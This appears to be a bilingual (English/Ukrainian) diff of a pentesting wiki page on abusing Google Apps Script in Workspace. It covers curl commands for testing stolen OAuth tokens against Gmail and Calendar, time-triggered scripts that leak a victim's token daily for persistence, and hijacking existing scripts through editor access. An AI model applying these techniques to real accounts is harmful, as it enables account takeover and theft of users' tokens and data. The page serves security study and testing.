Якщо ви **зміните** закінчення **"/edit"** на **"/copy"**, замість доступу до нього Google запитає вас, чи хочете ви **створити копію документа:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
Якщо користувач копіює його та отримує доступ, як **вміст документа, так і App Scripts будуть скопійовані**, однак **тригери не будуть**, тому **нічого не буде виконано**.
|
||||
|
||||
### Sharing as Web Application
|
||||
### Спільний доступ як веб-додаток
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
Зверніть увагу, що також можливо **поділитися App Script як веб-додатком** (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
Після чого з'явиться **типове сповіщення OAuth, що запитує** необхідні дозволи.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
### Тестування
|
||||
|
||||
Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
Список календаря користувача:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
## App Script як Постійність
|
||||
|
||||
## App Script as Persistence
|
||||
Одним з варіантів постійності було б **створити документ і додати тригер для функції getToken** та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він **екстрагує токен жертви.**
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який **компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен**:
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер і виберіть опції, які вам найбільше підходять:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
> Це створить електронний лист про безпеку та push-повідомлення на ваш мобільний телефон, що сповіщає про це.
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
### Обхід Неперевіреного Запиту Спільного Документа
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
Більше того, якщо хтось **поділився** з вами документом з **доступом редактора**, ви можете створити **App Scripts всередині документа**, і **ВЛАСНИК (творець) документа буде власником App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
> Це означає, що **творець документа з'явиться як творець будь-якого App Script**, який будь-хто з доступом редактора створює всередині нього.
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
> Це також означає, що **App Script буде довірятися середовищу Workspace** творця документа.
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
> Це також означає, що якщо **App Script вже існував** і люди надали **доступ**, будь-хто з **дозволом редактора** на документ може **модифікувати його та зловживати цим доступом.**\
|
||||
> Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один цікавий трюк - це **опублікувати скрипт як веб-додаток**. Коли **люди**, які вже надали **доступ** до App Script, отримують доступ до веб-сторінки, вони **активують App Script** (це також працює за допомогою тегів `<img>`).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user